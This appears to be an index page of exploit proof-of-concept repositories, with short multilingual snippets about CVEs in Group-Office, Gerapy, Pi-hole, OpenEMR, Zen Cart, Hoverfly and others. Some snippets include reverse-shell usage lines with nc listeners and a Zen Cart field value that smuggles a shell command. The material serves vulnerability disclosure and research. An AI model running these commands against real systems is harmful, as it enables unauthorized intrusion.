CVE-2026-25512-PoC-Group-Office-Authenticated-RCE

CVE-2026-25512 PoC – Group-Office Authenticated RCE via TNEF Handler Author: Mohammed Idrees Banyamer Handle: @banyamersecurity GitHub: mbanyamer Date: February 04, 2026 Exploit Title Group-Office Intermesh 26.0.4 – Authenticated RCE via TNEF Attachment Handler CVE CVE-2026-25512 CWE CWE-78 OS...

CVE-2026-24854-ChurchCRM-6.7.2-Authenticated-Numeric-SQL-Injection

CVE-2026-24854 – PoC de Inyección SQL Numérica Autenticada Manipulación de Lógica en ChurchCRM Autor: Mohammed Idrees Banyamer País: Jordania Usuario: @banyamersecurity GitHub: https://github.com/mbanyamer Resumen Este repositorio contiene una Prueba de Concepto PoC que demuestra una vulnerabilid...

CVE-2021-45897

CVE-2021-45897 PoC para CVE-2021-45897, también conocido como SCRMBT-180 - RCE mediante Plantillas de Correo Electrónico solo autenticado en SuiteCRM = 8.0.0. Defaults to False --help Show this message and exit. https://github.com/manuelz120/CVE-2021-45897 Ejemplo de uso: .venv ➜ CVE-2021-45897...

cve-2021-32849

cve-2021-32849 cve-2021-32849 ejecución de comandos en Gerapy Uso Primero, abre un nc para escuchar y luego usa el exploit para atacar. python3 CVE-2021-32849.py -u http://192.168.1.69:8000 -U admin -P admin@123 -r 10.10.16.34 -p 8888 -c id...

CVE-2021-43857

CVE-2021-43857 CVE-2021-43857 ejecución de comandos en Gerapy Descargo de responsabilidad El script es solo para fines de aprendizaje y referencia; no lo utilices para atacar sitios web de otras personas de forma malintencionada. Si se viola la ley o se cometen actos ilícitos, todas las...

CVE-2026-27470

⚠️ AVISO LEGAL Esta herramienta ha sido desarrollada exclusivamente con fines educativos y para pruebas de seguridad autorizadas por escrito. Su uso contra sistemas que no posee o para los que no cuenta con permiso explícito por escrito es ilegal. El acceso no autorizado está sujeto a sanciones...

CVE-2026-39842

CVE-2026-39842: Inyección de Expresiones RCE en el Motor de Reglas de OpenRemote TL;DR Vulnerabilidad crítica de ejecución remota de código en el Motor de Reglas de OpenRemote que permite a usuarios autenticados con el rol write:rules ejecutar código arbitrario en el servidor con privilegios de...

CVE-2026-35517

CVE-2026-35517 - Ejecución Remota de Código en Pi-hole FTLDNS mediante Inyección de Nueva Línea TL;DR Una vulnerabilidad de Ejecución Remota de Código en el motor FTLDNS de Pi-hole versiones 6.0 a 6.5 permite a un atacante autenticado inyectar directivas de configuración arbitrarias de dnsmasq...

DEBIAN-CVE-2026-93858

In OpenStack Mistral through 23.0.0, the std.sshproxied action passes a caller-supplied proxycommand value directly to paramiko.ProxyCommand before any SSH connection to a gateway or target host is attempted. An authenticated project member can use the standard action-execution API to submit an...

CVE-2026-93858

In OpenStack Mistral through 23.0.0, the std.sshproxied action passes a caller-supplied proxycommand value directly to paramiko.ProxyCommand before any SSH connection to a gateway or target host is attempted. An authenticated project member can use the standard action-execution API to submit an...

CVE-2026-107334

Malcolm's nginx Lua role-based access control RBAC layer decides whether an authenticated user may reach a role-restricted path e.g. /htadmin, /auth, /adminlogin, /arkime/api/esadmin, NetBox, upload endpoints by pattern-matching the raw, percent-encoded request URI. Nginx itself, however, selects...

CVE-2026-107303

JHipster is a development platform to quickly generate, develop, and deploy modern web applications and microservice architectures. Prior to generator-jhipster 9.4.0 and react-jhipster 1.1.0, generated applications can persist attacker-controlled Blob data and companion ContentType values, return...

CVE-2026-30695

CVE-2026-30695 - XSS en Zucchetti Axess Resumen Existe una vulnerabilidad de Cross-Site Scripting XSS en la interfaz de configuración basada en web de los dispositivos de control de acceso Zucchetti Axess XA4, X3/X3BIO, X4, X7, XIO, i-door, i-door+. La vulnerabilidad se debe a una sanitización...

CVE-2026-1457

CVE-2026-1457: Ejecución Remota de Código Autenticada en TP-Link VIGI C385 Resumen CVE-2026-1457 es una vulnerabilidad de desbordamiento de búfer autenticada en la API web de TP-Link VIGI C385 V1. Esta vulnerabilidad permite a atacantes autenticados ejecutar código de forma remota RCE. Puntuación...

zencart_auth_rce_poc

zencartauthrcepoc CVE-2021-3291 1- 以管理员身份登录 2- 打开任意模块的编辑页面 3- 检查任意值为 true 的单选框元素 4- 将 true 改为 true','MODULEORDERTOTALTOTALSTATUS'; echo id; // 5- 点击更新 6- 要触发命令，再次进入编辑页面 CVE-2021-3291 https://vulners.com/cve/CVE-2021-3291 POC 漏洞利用 刷新页面 放大 Metasploit GIF...

CVE-2026-25746_SqlInjectionVulnerabilityOpenEMR7.0.4

CVE-2026-25746 - OpenEMR 弱点 CWE-89 未正确中和用于 SQL 命令的特殊元素（'SQL 注入'） 产品使用来自上游组件的受外部影响的输入来构建 SQL 命令的全部或部分内容，但未中和或错误地中和了在发送至下游组件时可能修改预期 SQL 命令的特殊元素。如果没有充分删除或引用用户可控输入中的 SQL 语法，生成的 SQL 查询可能会导致这些输入被解释为 SQL 而非普通用户数据。了解更多信息请访问 MITRE。 摘要 OpenEMR act$GET; Controller 的 act 方法： $args =...

CVE-2026-29187_SqlInjectionVulnerabilityOpenEMR7.0.4

CVE-2026-29187 - 新搜索弹出窗口中的SQL注入漏洞 弱点 CWE-89 SQL命令中特殊元素的未正确中性化处理（'SQL注入'） 产品使用来自上游组件的外界影响输入来构建SQL命令的全部或部分，但未能正确中性化或错误中性化可能改变预期SQL命令的特殊元素。如果没有对用户可控输入中的SQL语法进行充分的移除或转义，生成的SQL查询可能导致这些输入被解释为SQL而非普通用户数据。在MITRE上了解更多。 摘要 OpenEMR $value if !strstartswithstring $key, 'mf' continue; // "match field" $fldnam...

msf-cve-2024-46987

MSF-CVE-2024-46987 用于利用 CVE-2024-46987 的 Metasploit 模块：Camaleon CMS 版本 = 2.8.0 和 2.9.0 中存在的一个需认证的路径遍历漏洞。 基于 Goultarde 编写的 此 POC。...

CVE-2025-54123

CVE-2025-54123 Hoverfly CVE RCE 用法 命令执行： python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -c whoami 反向 Shell： nc -lvnp 443 python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -r $IP 443 免责声明...

CVE-2025-60787-POC

CVE-2025-60787 - motionEye 认证后的远程代码执行 通过未净化的 motion 配置参数在 motionEye = 0.43.1b4 中实现认证后的远程代码执行 作者：d3vn0mi 漏洞概述 字段| 详情 ---|--- CVE ID| CVE-2025-60787 CVSS 评分| 7.2（高） 类型| 操作系统命令注入（CWE-78） 受影响版本| motionEye = 0.43.1b4 修复版本| 0.43.1b5 motionEye 接受配置字段（如 imagefilename）中的任意字符串，并将其直接写入 Motion...